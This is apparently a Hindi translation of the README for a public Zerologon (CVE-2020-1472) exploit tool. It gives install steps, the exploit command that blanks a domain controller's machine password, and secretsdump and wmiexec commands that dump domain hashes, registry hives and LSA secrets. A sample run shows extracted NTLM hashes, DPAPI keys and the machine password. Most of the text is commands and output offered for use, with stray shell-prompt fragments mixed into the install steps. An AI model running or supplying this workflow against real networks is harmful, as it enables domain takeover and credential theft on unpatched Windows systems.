CVE-2020-1472

CVE-2020-1472 के लिए जाँच और शोषण कोड जिसे Zerologon भी कहा जाता है

यह जाँचता है कि क्या कोई डोमेन नियंत्रक Zerologon हमले के प्रति कमजोर है, यदि कमजोर है, तो यह डोमेन नियंत्रक के खाता पासवर्ड को एक खाली स्ट्रिंग पर रीसेट कर देता है।

नोट: यह संभवतः उत्पादन वातावरण में चीजों को तोड़ देगा (जैसे DNS कार्यक्षमता, प्रतिकृति डोमेन नियंत्रकों के साथ संचार, आदि); लक्षित क्लाइंट फिर डोमेन में प्रमाणित नहीं हो पाएंगे, और उन्हें केवल मैन्युअल कार्रवाई के माध्यम से पुनः सिंक्रनाइज़ किया जा सकता है। यदि आप जानना चाहते हैं कि Zerologon हमला चीजों को कैसे तोड़ता है, तो @_dirkjan के शानदार कार्य के लिए धन्यवाद, आप इसे यहाँ पढ़ सकते हैं

Zerologon मूल शोध और श्वेतपत्र Secura (Tom Tervoort) द्वारा - https://www.secura.com/blog/zero-logon

शोषण

यह Netlogon प्रमाणीकरण बाईपास करने का प्रयास करेगा। जब एक डोमेन नियंत्रक पैच किया जाता है, तो पता लगाने वाली स्क्रिप्ट 2000 RPC कॉल जोड़े भेजने के बाद हार मान लेगी, यह निष्कर्ष निकालते हुए कि लक्ष्य कमजोर नहीं है (0.04% की गलत नकारात्मक संभावना के साथ)।

शोषण तभी सफल होगा जब डोमेन नियंत्रक लॉगिन प्रयास को सत्यापित करने के लिए Active Directory में संग्रहीत पासवर्ड का उपयोग करता है, न कि स्थानीय रूप से संग्रहीत पासवर्ड का, क्योंकि इस तरह से पासवर्ड बदलने पर, यह केवल AD में बदला जाता है। लक्षित प्रणाली स्वयं अभी भी अपने मूल पासवर्ड को स्थानीय रूप से संग्रहीत करेगी।

स्थापना

Python 3.7 या उच्चतर, virtualenv, pip और Impacket लाइब्रेरी का संशोधित संस्करण: nrpc.py (/impacket/dcerpc/v5) अतिरिक्त netlogon संरचनाओं के साथ GitHub से नवीनतम संस्करण की आवश्यकता है।

1. Impacket को निम्नानुसार स्थापित करें:

1. git clone https://github.com/SecureAuthCorp/impacket
2. cd impacket
3. root@kitploit:~

   pwd 
   ~/impacket/
   

4. virtualenv --python=python3 impacket
5. source impacket/bin/activate
6. pip install --upgrade pip
7. pip install .

2. Zerologon शोषण स्क्रिप्ट को निम्नानुसार स्थापित करें:

1. root@kitploit:~

   ~/impacket/
   

2. cd examples
3. git clone https://github.com/VoidSec/CVE-2020-1472
4. cd CVE-2020-1472
5. pip install -r requirements.txt

स्क्रिप्ट चलाना

स्क्रिप्ट का उपयोग किसी DC या बैकअप DC को लक्षित करने के लिए किया जा सकता है। यह संभवतः केवल-पढ़ने वाले DC के विरुद्ध भी काम करेगी, लेकिन इसका अभी तक परीक्षण नहीं किया गया है। DC का नाम उसका NetBIOS कंप्यूटर नाम होना चाहिए। यदि यह नाम सही नहीं है, तो स्क्रिप्ट संभवतः STATUS_INVALID_COMPUTER_NAME त्रुटि के साथ विफल हो जाएगी। एक डोमेन नियंत्रक जिसका नाम EXAMPLE-DC और IP पता 1.2.3.4 है, को देखते हुए, स्क्रिप्ट को निम्नानुसार चलाएं:

• ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

स्क्रिप्ट चलाने के परिणामस्वरूप डोमेन नियंत्रक के खाता पासवर्ड को खाली स्ट्रिंग पर रीसेट कर देना चाहिए।

इस बिंदु पर आप Impacket का secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR चला सकते हैं (वैकल्पिक रूप से आप खाली हैश का उपयोग कर सकते हैं: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) जो केवल NTDS.DIT डेटा (NTLM हैश और Kerberos कुंजियाँ) निकालेगा।

जिससे आपको डोमेन व्यवस्थापक प्राप्त होना चाहिए। जीत जीत जीत

उदाहरण रन

> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

पासवर्ड पुनर्स्थापना

डीसी को सामान्य रूप से संचालित जारी रखने के लिए मूल पासवर्ड हैश को पुनः स्थापित करना आवश्यक है।

डोमेन व्यवस्थापक प्राप्त करने के बाद, आप secretsdump से प्राप्त क्रेडेंशियल के साथ लक्ष्य DC पर wmiexec.py चला सकते हैं और निम्नलिखित चरणों का पालन कर सकते हैं:

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

चलाएं: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

और इससे आपको मशीन खाते का मूल NT हैश दिखना चाहिए। फिर आप यहाँ उपलब्ध reinstall_original_pw.py स्क्रिप्ट का उपयोग करके उस मूल मशीन खाता हैश को डोमेन में पुनः स्थापित कर सकते हैं: here. कभी-कभी सफल होने से पहले एक से अधिक बार चलाने की आवश्यकता होती है।

reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

वैकल्पिक रूप से आप निम्नलिखित पुनर्स्थापना प्रक्रिया का उपयोग कर सकते हैं।